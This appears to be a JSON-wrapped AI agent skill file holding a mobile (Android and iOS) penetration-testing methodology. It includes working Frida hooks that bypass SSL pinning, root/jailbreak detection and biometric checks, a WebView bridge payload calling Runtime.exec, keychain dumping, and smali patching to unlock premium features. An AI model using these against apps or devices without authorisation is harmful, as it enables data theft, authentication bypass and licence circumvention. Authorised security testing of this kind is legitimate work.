{"id":"offensive-mobile","name":"offensive-mobile","summary":"モバイル(Android + iOS)アプリケーションへのペネトレーションテスト手法。静的解析(Android向けのapktool/jadx、iOS向けのclass-dump/Hopper/IDA)、FridaとObjectionによる動的インストゥルメンテーション、SSLピンニングのバイパス戦略、root/jail…","body":"# Mobile (Android + iOS) — Offensive Testing Methodology\n\n## Quick Workflow\n\n1. Static: pull the IPA/APK, decompile, dump resources/strings, identify endpoints\n2. Dynamic: install on rooted/jailbroken device, hook with Frida, intercept TLS\n3. Map exported attack surface: deep links, URL schemes, exported components\n4. Storage / Keystore audit: where do secrets live, what protects them\n5. API: every backend the app talks to is your scope — test like a web app\n\n---\n\n## Lab Setup\n\n### Android\n- Rooted device or **Genymotion** / Android Studio AVD with `userdebug` build\n- **Magisk** for systemless root; **LSPosed** for hooks; **Frida server** matching device arch\n- **Burp / Mitmproxy** with system-trusted CA via Magisk module (`MagiskTrustUserCerts`)\n\n### iOS\n- Jailbroken device (palera1n / checkra1n / Dopamine depending on iOS version)\n- **Frida** + **Objection** + **Filza** + **SSH via USB (iproxy 2222 22)**\n- Burp CA installed via Settings → General → Device Management → Certificate Trust Settings\n\n---\n\n## Static Analysis\n\n### Android\n\n```bash\n# Decode resources + smali\napktool d app.apk -o app\n\n# Decompile to Java\njadx -d app_src app.apk\n\n# Manifest review\nxmllint --format app/AndroidManifest.xml | less\n# Look for: android:exported=\"true\", intent-filters, custom permissions, debuggable, allowBackup, networkSecurityConfig\n```\n\n```bash\n# Secrets and endpoints\ngrep -rE '(https?://[a-z0-9.-]+|api[_-]?key|secret|token|firebase|amazonaws|appspot)' app_src/\ngrep -r \"Log\\.[dwief]\" app_src/   # leftover debug logs\n\n# Native libs\nfile app/lib/*/*.so\n# RE in Ghidra/IDA; look for JNI_OnLoad and exported Java_* functions\n```\n\n### iOS\n\n```bash\n# Pull IPA from device\nfrida-ios-dump -o app.ipa \"com.vendor.app\"\n\n# Or via App Store via 3rd-party tools (Apple Configurator with paid acct, etc.)\nunzip app.ipa\n# Decrypt if needed (jailbroken device): bagbak / clutch\nbagbak com.vendor.app\n\n# Class dump\nclass-dump-dyld -H Payload/App.app/App -o headers/\n# Or for Swift symbols, use Hopper / IDA\n\n# Strings / endpoints\nstrings -a Payload/App.app/App | grep -E '(https?://|key|secret|api)'\n```\n\n```bash\n# Info.plist analysis\nplutil -p Payload/App.app/Info.plist\n# Look for: NSAppTransportSecurity exceptions, CFBundleURLTypes (URL schemes),\n# associated-domains entitlements, UIFileSharingEnabled, ATS exemptions\n```\n\n---\n\n## Dynamic Analysis & Frida\n\n### Common Hooks\n\n```javascript\n// Bypass SSL pinning (Android — generic OkHttp/CertificatePinner/TrustManager)\nJava.perform(() => {\n  const X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');\n  const TrustManagerFactory = Java.use('javax.net.ssl.TrustManagerFactory');\n  // ... full bypass scripts: codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida\n});\n\n// Bypass root detection\nJava.perform(() => {\n  const File = Java.use('java.io.File');\n  File.exists.implementation = function () {\n    const path = this.getAbsolutePath();\n    if (path.includes('su') || path.includes('Magisk')) return false;\n    return this.exists();\n  };\n});\n\n// iOS — bypass jailbreak detection\nconst stat = Module.findExportByName(null, 'stat');\nInterceptor.attach(stat, {\n  onEnter(args) {\n    const path = args[0].readUtf8String();\n    if (/Cydia|jailbreak|substrate|frida/i.test(path)) {\n      args[0] = Memory.allocUtf8String('/nonexistent');\n    }\n  }\n});\n```\n\n### Objection (Frida-based shortcuts)\n\n```bash\nobjection -g com.vendor.app explore\n# Then inside:\nandroid sslpinning disable\nandroid root disable\nandroid hooking list activities\nandroid intent launch_activity com.vendor.app/.SecretActivity\nios sslpinning disable\nios jailbreak disable\nios keychain dump\n```\n\n---\n\n## SSL / TLS Interception\n\n### Android Network Security Config\n\nApp with `<network-security-config>` requiring its own pinned CA: edit `res/xml/network_security_config.xml`, repack:\n\n```bash\napktool b app -o app-patched.apk\napksigner sign --ks debug.keystore app-patched.apk\n```\n\nOr live-bypass with Frida (preferred — no recompile).\n\n### iOS ATS / Pinning\n\nFor pinning, use Frida hooks against `SecTrustEvaluate*` / `NSURLSession` delegate methods. ATS exceptions in Info.plist (`NSAllowsArbitraryLoads`) make MITM trivial without pinning.\n\n---\n\n## Exported / IPC Attack Surface\n\n### Android — Exported Components\n\n```bash\ndrozer console connect\n> run app.package.attacksurface com.vendor.app\n> run app.activity.start --component com.vendor.app .ExportedActivity \\\n    --extra string url 'javascript:alert(1)'\n> run app.provider.query content://com.vendor.app.provider/secrets\n```\n\nTargets:\n- `exported=\"true\"` activities → call from another app, bypass auth\n- ContentProviders without `grantUriPermissions` → arbitrary read\n- Receivers handling `BOOT_COMPLETED` etc. with privileged actions\n- Services bound by intent extras → command injection\n\n### Intent Redirection / PendingIntent Hijack\n\n```java\n// Vulnerable: PendingIntent with implicit Intent given to untrusted app\nPendingIntent.getActivity(this, 0, new Intent(), FLAG_MUTABLE)\n// Attacker fills the empty Intent → action runs with victim app's identity\n```\n\n### iOS — URL Schemes / Universal Links\n\n```bash\n# Open custom scheme (test from another app)\nplutil -p Payload/App.app/Info.plist | grep -A 5 CFBundleURLTypes\n# Then on device:\nxcrun simctl openurl booted \"vendorapp://payment?to=ATTACKER&amount=9999\"\n```\n\nUniversal Links: check `apple-app-site-association` on the linked domain — open redirect on that domain → universal-link claim → in-app webview navigation.\n\n### iOS XPC / Mach Services\n\n`launchctl list | grep com.vendor` enumerates the app's launch services. XPC handlers without proper audit-token validation accept messages from any process.\n\n---\n\n## Insecure Data Storage\n\n### Android\n\n```bash\n# On device (root), pull app data\nadb shell \"su -c 'tar -cz /data/data/com.vendor.app'\" > app_data.tgz\n```\n\nInspect:\n- `shared_prefs/*.xml` — preferences in plaintext\n- `databases/*.db` — SQLite (use `sqlite3` to dump)\n- `files/` — arbitrary writes\n- `cache/` and external storage (`sdcard/Android/data/...`) — often readable across apps\n\n### Android Keystore Misuse\n\n- Keys created without `setUserAuthenticationRequired(true)` → use any time process is running\n- AES-GCM with reused IV (devs often hardcode IV)\n- RSA without proper padding (PKCS1 v1.5 vs OAEP)\n\n### iOS Keychain\n\n```bash\n# Objection\nios keychain dump\n# Look for kSecAttrAccessible values:\n#   AlwaysThisDeviceOnly  → readable when phone locked (bad for secrets)\n#   WhenUnlocked          → standard\n#   AlwaysThisDeviceOnly  → bypasses screen lock\n```\n\niOS Data Protection classes: NSFileProtectionNone files are readable on a jailbroken device even when locked.\n\n---\n\n## WebView Vulnerabilities\n\n### Android `addJavascriptInterface`\n\nIf the app exposes a JS bridge with reflection-capable objects, JS in any loaded page = arbitrary Java method invocation.\n\n```javascript\n// In a page loaded by the WebView\nJSBridge.getClass().forName('java.lang.Runtime')\n  .getMethod('exec', String).invoke(JSBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null), 'id')\n```\n\n### file:// and Content://\n\nWebView with `setAllowFileAccessFromFileURLs(true)` + a HTML attachment that the user opens → reads any file the app can.\n\n### iOS WKWebView\n\n- `WKWebViewConfiguration.preferences.javaScriptCanOpenWindowsAutomatically`\n- `wkScriptMessageHandler` exposed — same JS bridge concern as Android\n- File URL load with `loadFileURL` and broad `allowingReadAccessTo` directory\n\n---\n\n## Biometric / Auth Bypass\n\n### Android BiometricPrompt\n\nApps using BiometricPrompt **without binding** the cryptographic operation to authentication can be bypassed by hooking the result callback.\n\n```javascript\nJava.perform(() => {\n  const Cb = Java.use('androidx.biometric.BiometricPrompt$AuthenticationCallback');\n  Cb.onAuthenticationSucceeded.implementation = function (r) {\n    return this.onAuthenticationSucceeded(r);  // accept whatever\n  };\n  Cb.onAuthenticationFailed.implementation = function () { /* ignore */ };\n});\n```\n\n### iOS LAContext\n\n`evaluatePolicy(.deviceOwnerAuthenticationWithBiometrics)` — if the app trusts the boolean result without using a Keychain item bound to biometrics, you can flip it.\n\n```javascript\nconst LAContext = ObjC.classes.LAContext;\nInterceptor.attach(LAContext['- evaluatePolicy:localizedReason:reply:'].implementation, {\n  onEnter(args) {\n    const cb = new ObjC.Block(args[4]);\n    const orig = cb.implementation;\n    cb.implementation = function(success, err) { orig.call(this, true, NULL); };\n  }\n});\n```\n\nThe fix on the dev side is to use a **biometric-bound key** in the Keychain — the bypass above doesn't yield key access.\n\n---\n\n## Firebase / Cloud Misconfig (highest hit-rate)\n\n### Firebase Realtime DB (still common)\n\nPull URL from app:\n\n```bash\nstrings app.apk | grep -E \"https://[a-z0-9-]+\\.firebaseio\\.com\"\n# Test for unauth read\ncurl https://target-app.firebaseio.com/.json\n# If returns data → unauth read\n```\n\n### Firestore\n\nRules misconfigured to `allow read, write: if true;` — visible in app's REST calls. Test with anon SDK or direct REST.\n\n### S3 / GCS / Azure Blob\n\nUnsigned URLs in API responses, or bucket names guessable from app package — test public-read, public-write, ACL.\n\n### Embedded API Keys\n\nGoogle Maps key restricted properly? Stripe publishable vs secret? Twilio? AWS access keys in plaintext (still happens) → cloud takeover.\n\n```bash\ntruffleHog filesystem app_src/\ngitleaks detect --source app_src/\n```\n\n---\n\n## Mobile API Testing\n\nThe backend is the same as a web app — pivot to web/API methodology once you've extracted the endpoints. Things specific to mobile:\n\n- **Device-bound headers** (`X-Device-ID`, `X-App-Version`, `X-Signature`) often calculable client-side. Pull the algorithm from the binary.\n- **Request signing**: HMAC with key embedded in app → game over, sign anything.\n- **Mobile-only endpoints** that skip rate limiting because they're \"behind app authentication\"\n- **Older API versions** still alive: `/api/v1/...` retired in newer app, server still serving with weaker auth.\n- **Push notification topics**: subscribing to `/topics/<predictable>` may receive messages meant for others (Firebase Messaging).\n\n---\n\n## App Tampering & Repackaging\n\n```bash\n# Patch a check (e.g. premium=true)\n# Smali edit\nsed -i 's/return-void/const\\/4 v0, 0x1\\n    return v0/' app/smali/com/vendor/Premium.smali\napktool b app -o patched.apk\napksigner sign --ks debug.keystore patched.apk\nadb install -r patched.apk\n```\n\nFor commercial bypasses, use **LSPosed module** so original APK isn't modified — bypasses signature checks that lock down repackaged variants.\n\n---\n\n## iOS Specifics\n\n### Entitlements\n\n```bash\ncodesign -d --entitlements - Payload/App.app/App\n```\n\nLook for: `keychain-access-groups` (cross-app keychain), `com.apple.security.application-groups` (shared containers), `com.apple.developer.associated-domains` (universal links), private entitlements (rare).\n\n### URL Schemes from Other Apps\n\n```objc\n[[UIApplication sharedApplication] openURL:[NSURL URLWithString:@\"vendorapp://...\"]];\n```\n\nAny app can invoke any registered URL scheme. Validate sender? Most don't.\n\n### App Groups Shared Container\n\n```\n/private/var/mobile/Containers/Shared/AppGroup/<UUID>/\n```\n\nMultiple apps from same vendor share — secrets here cross app boundary.\n\n---\n\n## Detection / Defender View\n\n| Detector | Bypass |\n|----------|--------|\n| Frida server detection (port 27042 open) | Run frida-server on alt port, use `frida -H` |\n| Magisk detection via `/sbin/magisk` | Magisk Hide / DenyList |\n| Emulator detection | Run on real device, or stub `Build.FINGERPRINT` etc. |\n| iOS jailbreak detection (file existence) | Frida hook `stat` / `fopen` / `dlopen` |\n| Anti-debug `ptrace(PT_DENY_ATTACH)` | Frida-stalker-based, or kernel patch |\n| Certificate pinning | Frida universal pinning bypass |\n| App attestation (Play Integrity / DeviceCheck) | Hard — usually requires server-side bypass or app attestation token relay |\n\n---\n\n## Engagement Checklist\n\n```\n[ ] Pull IPA/APK from device\n[ ] Decompile / class-dump\n[ ] Grep for endpoints, keys, tokens\n[ ] Manifest / Info.plist review\n[ ] Static-find exported components, deep links, URL schemes\n[ ] Install on rooted/jailbroken; configure Frida\n[ ] Bypass pinning, MITM all traffic\n[ ] Test every API the app calls (web methodology)\n[ ] Test exported components from another app / drozer / runtime\n[ ] Inspect on-device storage (sharedprefs, sqlite, keychain)\n[ ] Test biometric flows for unbound auth\n[ ] Test deep links / URL schemes for auth bypass / open redirect / IDOR\n[ ] Cloud config: Firebase rules, S3 buckets, signed URLs\n[ ] Push topics / subscription model\n[ ] Device-binding / signing scheme analysis\n```\n\n---\n\n## Key References\n\n- OWASP MASTG (Mobile Application Security Testing Guide)\n- OWASP MASVS — verification standard\n- Frida CodeShare — codeshare.frida.re for ready-to-use hooks\n- mobile-security-framework / MobSF for automated triage\n- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/mobile.md","author":"@SnailSploit","ownerProfile":null,"authorContacts":null,"sourceUrl":"https://github.com/SnailSploit/Claude-Red/tree/main/Skills/mobile/offensive-mobile","license":"MIT","category":"coding","lang":"en","tokens":3275,"stars":0,"calls30d":1,"claimed":false,"visibility":"public","origin":"crawler","version":"0.1.0","createdAt":"2026-08-22","updatedAt":"2026-08-22","files":[],"requires":{"mcp":[],"tools":[]},"safety":{"flags":[],"scannedAt":"2026-08-22","hasScripts":false,"networkEndpoints":["target-app.firebaseio.com"]}}